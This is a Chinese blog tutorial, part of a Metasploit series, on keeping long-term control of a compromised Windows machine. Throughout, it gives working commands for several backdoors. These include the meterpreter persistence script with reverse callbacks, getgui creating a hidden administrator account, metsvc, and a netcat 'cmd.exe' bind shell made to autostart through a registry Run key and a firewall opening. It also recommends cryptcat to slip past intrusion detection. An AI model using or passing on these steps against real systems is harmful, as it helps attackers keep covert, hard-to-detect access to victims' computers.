欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

玩转Metasploit(二):梦幻的恒定状态

程序员文章站 2022-07-15 14:00:53
...

肌肤若冰雪,绰约若处子,不食五谷,吸风饮露,乘云气,御飞龙,而游乎四海之外。


meterpreter

meterpreter是一种特殊的payload,它允许用户在原基础上进行拓展创造。它良好的交互性让它也被称为meterpreter shell;基于内存dll注入实现,能够通过创建一个新进程并调用注入的dll来让目标系统运行注入的dll文件。在该模式下,攻击者与目标设备中Meterpreter的通信是通过stager套接字实现的。(还记得吗,payload分为singles、stagers、stages三类)

反弹一个meterpreter

玩转Metasploit(二):梦幻的恒定状态

挂到后台

玩转Metasploit(二):梦幻的恒定状态

meterpreter是仅仅驻留在内存中的shellcode,一旦对方重启将被直接抹杀作废。

要想取得后门通常的做法有三条,其中两个都是和meterpreter直接关系:1. meterpreter的persistence脚本命令、2. meterpreter的metsvc攻击枣核、3. 使用netcat建立持久性沟通。如果广义上理解,还可以在对方主机创建一个隐藏的新用户,这也是一种形式的后门。

下面的讲解均基于你已经拿到了对方的meterpreter shell的基础上。请确保让你的meterpreter在前台运行,因为以下均是meterpreter的标准命令。


persistence

获取了meterpreter可以干很多事情但却有一个最大的限制,那就是——一旦目标用户reboot了主机,那之前好不容易搞来的meterpreter就作废了。

玩转Metasploit(二):梦幻的恒定状态

为了解决这个问题,有人想出办法:可以在目标主机上安装后门,如果对方boot重启的话,那我的程序监听着,接着立马就启动meterpremer,于是乎就不用担心中途死掉的问题了。

想法是好的,但是怎么实行呢?metasploit已经帮你写好了一个这样的脚本,你只要拿来用就行了,敲

run persistence –AL $存放metasploit后门的目标主机的文件位置 -X –p 443 –r $本地主机的IP地址

run persistence –AL c:\\ -X –p 443 –r 192.168.1.5

上面的命令会打开一个新session:-A表示新建句柄,-L参数把后门放在对方主机的C盘,-X参数让该后门随着对方的主机启动而启动,-p表示本地监听端口,-r前面讲了是本地主机的IP地址。这里我之所以写run persistence而不是run post/windows/manage/persistence_exe是因为在我的机子上那样写会报错(argument error),估计是个bug;如果直接写的话,像下面一样有提示,但是忽略掉就好了——但是在run的时候请记着你run的不是别的你run的是post模块。

玩转Metasploit(二):梦幻的恒定状态

后门创建成功。下图中上面是没有切换到meterpreter的反例,跟着的是成功创建后门的范例。sessions -l命令可以看出,此时你将至少得到两个session;其中id为2的那个是我们新创建的后门会话。其中-X后面跟的参数30表明目标主机植入的后门程序每隔30秒会尝试和我们取得联系,如果没有消息就建立新的会话。

玩转Metasploit(二):梦幻的恒定状态

这是我们植入的后门程序(所有以.vbs结尾的都是)

玩转Metasploit(二):梦幻的恒定状态

如果关闭目标主机,我这边会得到这样的提示:杀死->重新创建(这个过程中间不要敲任何命令,否则会影响最后的输出)。可以看到,原来的session1和session2已经被换成了session3和session4。

玩转Metasploit(二):梦幻的恒定状态

哦对了,我问你如果在我这边主动关闭原先开好的meterpreter,那个后门还有用吗?就没用了,这一点不要弄混了。后门只针对某一次特定的入侵,但是产生持续的效果,从次数上看等同于许多次。

persistence的参数不少,大家可以根据自己的喜好和实际情况斟酌安排。下面我再次使用persistence对目标主机进行持久化访问控制。(因为第一次效果不是很好)。如果第一次没看明白也请跳过第一次直接看第二次更直观的persistence。

为了防止出错,这里贴出persistence脚本的所有参数及其用法

玩转Metasploit(二):梦幻的恒定状态

为了和第一次区分,我讲选用不同的参数:首先我不想让它代我选择exploit/multi/handler,不选;然后想试试U参数和X参数的不同;另外用i参数手动指定两次连接的时间间隔(单位:秒)。最终我写出来的命令如下

run persistence -X -i 5 -p 4444 -r 192.168.1.5

上面的命令让persistence脚本当对方登陆时自启动,每隔5秒钟回送连接,本地端口号为4444,本地IP地址192.168.1.5,由于没有设定存放后门脚本源文件的位置,所以默认放在c:\windows\temp。

玩转Metasploit(二):梦幻的恒定状态

此图有两个看点:1. 执行resource $backdoor清除脚本的位置来彻底清除安置在目标主机的后门(包括vbs脚本和注册表);2. 因为没有写L参数,所以后门源文件就被安置在TEMP临时文件夹下面(两个)。

接下来测试下我们的后门,先让对方主机重启

reboot

接着执行以下命令。其中/multi/handler是一个监听模块,具体的后面会讲,这里先会用再说

exit
use exploit/multi/handler
set LHOST 192.168.1.5
set LPORT 4444
exploit

玩转Metasploit(二):梦幻的恒定状态

成功拿到了对方主机的控制权,后门起作用了。这里我给大家谈一点可能遇到的失败因素:端口设置的*度大,但是也不能胡乱设置,之前我设置了9669,这个数字比较大,失败了。在设置端口之前最好Google下看看它有没有被默认的服务占用。如果遇到你的端口被某个服务占用,请使用

kill -9 `lsof -t -i:$设置的本地端口`  # -9表示强制终止该服务

你以为这就结束了?错。下面我还要演示meterpreter内置的getgui脚本的用法。和persistence一样,它们都是meterpreter内置的脚本。二者都是用来维持对目标主机的控制权,不同的是getgui会在目标主机创建一个你指定用户名和密码的拥有administrator权限的账户(前面讲过,这也是一种形式的后门)。

玩转Metasploit(二):梦幻的恒定状态

这里简单介绍下RDP(远程桌面协议),它默认使用3389端口;假设对方已经在防火墙设置允许3389端口进入,如果没有也不怕毕竟拿到了终端控制权后就可以用netsh firewall命令设置相关的进入条件。这个命令在后面有讲。

玩转Metasploit(二):梦幻的恒定状态

Linux下有一个远程登陆桌面的命令,名曰rdesktop

rdesktop -u $用户名 -p $密$远IP地址:3389

如果需要还可以-k参数指定编码方式,默认是en-us。下面演示用getgui创建远程账户后,用rdesktop远程登陆。这是对方主机的C盘

玩转Metasploit(二):梦幻的恒定状态

本来我想要在他的主机留下点什么“纪念”,但是不知道为何失败了(只有我这边能看到,但是对方看不见)。等我研究透了再详细说明。

玩转Metasploit(二):梦幻的恒定状态

备注:Linux下的rdesktop命令,相当于Windows下的mstsc命令

# Windows XP SP3及以上
mstsc /admin /v:$目IP地址

# Windows XP SP2及以下
mstsc /console /v:$目IP地址

玩转Metasploit(二):梦幻的恒定状态


metsvc

metsvc和persistence一样,都是metasploit内置的后渗透工具,用来维持对目标主机的长期控制权。首先让我们看看它都有哪些命令选项

玩转Metasploit(二):梦幻的恒定状态

如果不算本身的帮助文档,它只有两个选项(可见这个工具实施起来比较“粗糙”,估计伪装得不好)。那好办,事实上要实施一次持久化控制只存在唯一的可选项-A。我们喜欢尽可能的靠自己,所以我们不加任何参数的运行它

run metsvc

玩转Metasploit(二):梦幻的恒定状态

输出表明本地监听端口为,记下,以后就用这个端口进入后门。之后我们还要用到exploit/multi/handler这个通用模块(不急,以后会讲的)

use exploit/multi/handler

设置一个合适的payload:注意名称,必须和metsvc相匹配

set payload windows/metsvc_bind_reverse_tcp

接着设置相应的参数,并exploit之,不出意外你就拿到了对方的控制权。这里我遇到了一个问题,如图

玩转Metasploit(二):梦幻的恒定状态

如图所示,一个session刚一建立就died了,原因比较模糊,可能是因为端口的设置问题;metsvc脚本的默认端口是31337,但是你可以在代码的源文件修改它(没有经验不建议随意改动)。遇到这种情况十有八九是端口设置问题,换一个常用来入侵的端口(比如4444)就好了,注意不要和原有的服务相互冲突。具体的留给读者自己想吧。

哦对了,最后说一句关于选择,如果你能用persistence,那就不要用metsvc,因为它的隐蔽性较差,在你的受害人主机可以用任务管理器(运行taskmgr)直接发现。


netcat & cryptcat

netcat是黑客们的瑞士军刀,下面我们将用它创建一个后门。

为了能够远端执行netcat这玩应儿,必须先upload过去(Windows默认没有安装netcat)。upload的只能是文件,如果是文件夹会报错。upload和download一样,得到的都是原文件拷贝。

upload /usr/share/windows-binaries/nc.exe c:\\WINDOWS\system32

为了达到这一点,你最好开两个命令行窗口:首先在你弹回来的shell敲

# 如果入侵Windows,敲
nc -l -p $本地监听端口 -e cmd.exe

# 如果入侵Linux,敲
nc -l -p $本地监听端口 -e /bin/bash

解释下,-l表示监听模式,允许传入连接;-p指定本地的端口号;-e是一个危险的参数,它指定在连接完成后执行的程序名称。

因为我们要入侵Windows,所以在反弹得到的cmd下敲

nc -l -p 6996 -e cmd.exe    # 具体参数可以自定

玩转Metasploit(二):梦幻的恒定状态

然后在另一个新窗口敲

nc $目标主机的IP地址  # 在我的例子中就是192.168.1.14

成功创建后门

玩转Metasploit(二):梦幻的恒定状态

看上去不错,但是总感觉少了点什么。对,这样的话如果对方重启的话netcat就被会被自动kill掉,那样还不是百搭。所以我们需要让netcat在对方主机开机时自动启动,这就需要修改Windows系统的注册表。在meterpreter中我们使用reg命令来访问注册表。

玩转Metasploit(二):梦幻的恒定状态

我试了好久但是都失败了:“The system cannot find the file specified.”。一气之下遂决定调用cmd原生的reg命令好了。(囧)

玩转Metasploit(二):梦幻的恒定状态

以下是它们的详细命令(无奈只能在命令行下交互,如果获得了远程桌面的话那就更好了)。接着来我将使用这些命令把远程攻陷的主机的注册表修改成开机自动打开netcat的状态。

玩转Metasploit(二):梦幻的恒定状态

玩转Metasploit(二):梦幻的恒定状态

玩转Metasploit(二):梦幻的恒定状态

请大家严格按照帮助文档来敲命令,否则就会闹笑话。下面的命令尝试打印指定路径的所有值(所谓注册表,不过是键和值罢了)。注意的是reg命令后面跟的键是不区分大小写的(不演示了)。从左往右依次是:名称、类型、数据。

reg  QUERY HKLM\Software\Microsoft\Windows\Currentversion\Run

玩转Metasploit(二):梦幻的恒定状态

这里HKLM等价于HKEY_LOCAL_MACHINE,是机器软硬件信息的集散地;HKCU等价于HKEY_CURRENT_USER,是当前用户所用信息储存地;HKEY_CLASSES_ROOT存储文件关联相关信息;HKEY_USERS存储所有用户信息;HKEY_CURRENT_CONFIG存储当前系统配置。

发现有三个.vbs文件,目测是之前没清理干净的后门。和本次要实验的后门程序不一样,我把它们删掉,同时也熟悉下命令。下面这个命令删除该键下的名称为HMMrtbCwjQfDOHA的项

reg DELETE HKLM\Software\Microsoft\Windows\Currentversion\Run /v HMMrtbCwjQfDOHA

玩转Metasploit(二):梦幻的恒定状态

紧接着把那三个后门的注册表全删了(原文件也早被窝丢到垃圾桶扔掉了),然后开始添加新的一项:netcat连接的后门。记住三个参数,分别是-v(项的名称)、-t(项的类型)、-d(项中存储的值,可以是具体的数字、字母,也可以是它的对应的文件的存储位置之字符串)

reg ADD HKLM\Software\Microsoft\Windows\Currentversion\Run /v nc /t reg_sz /d 6996  # 本条命令没有通过测试,我用的是下面一条作为替代

很意外的meterpreter这时候又好了。于是我就用meterpreter内置的reg命令完成了新项的添加。至于上面的命令我没有测试,应该是一样的,我用的命令如下(默认类型为REG_SZ)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\run -v nc -d "c:\WINDOWS\system32\nc.exe -Ldp 6996 -e cmd.exe"

提请注意:-d参数后面跟的是字符串。下面是一个没加字符串引号的反例

玩转Metasploit(二):梦幻的恒定状态

改正后,正确的结果如下图所示

玩转Metasploit(二):梦幻的恒定状态

但是meterpreter查询还是不行,遂转shell。查询命令前面有这里就不重复写了

玩转Metasploit(二):梦幻的恒定状态

最后还要设置下防火墙的相关参数,允许netcat的连接接入;在Windows中,我们用netsh这个命令行工具完成这些工作。netsh的命令格式如下

玩转Metasploit(二):梦幻的恒定状态

这里我们只关心firewall那一项,再看它的帮助文档

玩转Metasploit(二):梦幻的恒定状态

看看都默认开启了哪些端口

玩转Metasploit(二):梦幻的恒定状态

通过如下命令添加一个通信端口

netsh firewall add portopening (...)

玩转Metasploit(二):梦幻的恒定状态

在我的例子中就是(懒得写一般情况了,自己总结吧)

netsh add portopening TCP 6996 "netcat backdoor" ENABLE ALL

出现以下提示说明成功了

玩转Metasploit(二):梦幻的恒定状态

重启后打开任务管理器,发现netcat已经被挂起了

玩转Metasploit(二):梦幻的恒定状态

Binnngo!这下子只要对方不发现,对方一开机我们就可以随时进入对方的系统啦~试试看

玩转Metasploit(二):梦幻的恒定状态

掌握了netcat后门的做法,下面我们将介绍netcat的表亲cryptcat。Windows没有预装cryptcat,需要在获取对方权限后从本地upload一份。kali虽让预装了cryptcat但是Linux版的,所以还得到官网下载。下载来的文件放在哪里呢?这里有个小诀窍,就是放到/usr/share/windows-binaries这个文件夹下面——之前的netcat.exe也是放在这里的。

玩转Metasploit(二):梦幻的恒定状态

这是Windows版本的cryptcat之下载链接:https://sourceforge.net/projects/cryptcat/files/,请直接下载到你的Kali主机本地的/usr/share/windows-binaries文件夹下面。

cryptcat的基本用法和netcat相差不大,不过是更改了命令的名称而参数基本没有变化。之所以使用cryptcat,原因在于netcat建立的连接是不加密的,而cryptcat使用twofish加密,这样的直接结果就是netcat可能被Snort或其它IDS检测到,但是cryptcat就不容易被发现。考虑到cryptcat和netcat在操作上基本雷同,不过是多了一些文件操作,我就不具体演示了。

payload/windows/meterpreter/reverse_tcp_dns

最后不知道大家有没有发现上面所有维护长期控制的方法,又一个致命之缺陷,就是不能处理动态IP地址!因为在我们的命令中写死了IP地址(专用IP),所以当LHOST(指IP地址)变化时原来的目标主机将无法处理变化后的IP地址。

如标题所暗示的,payload/windows/meterpreter/reverse_tcp_dns了解一下:和payload/windows/meterpreter/revrese_tcp(persistence默认payload)不同,前者的LHOST不再用ip地址表示而是用域名表示。具体的演示这里暂且略去,等我有再填上。

相关标签: Metasploit 后门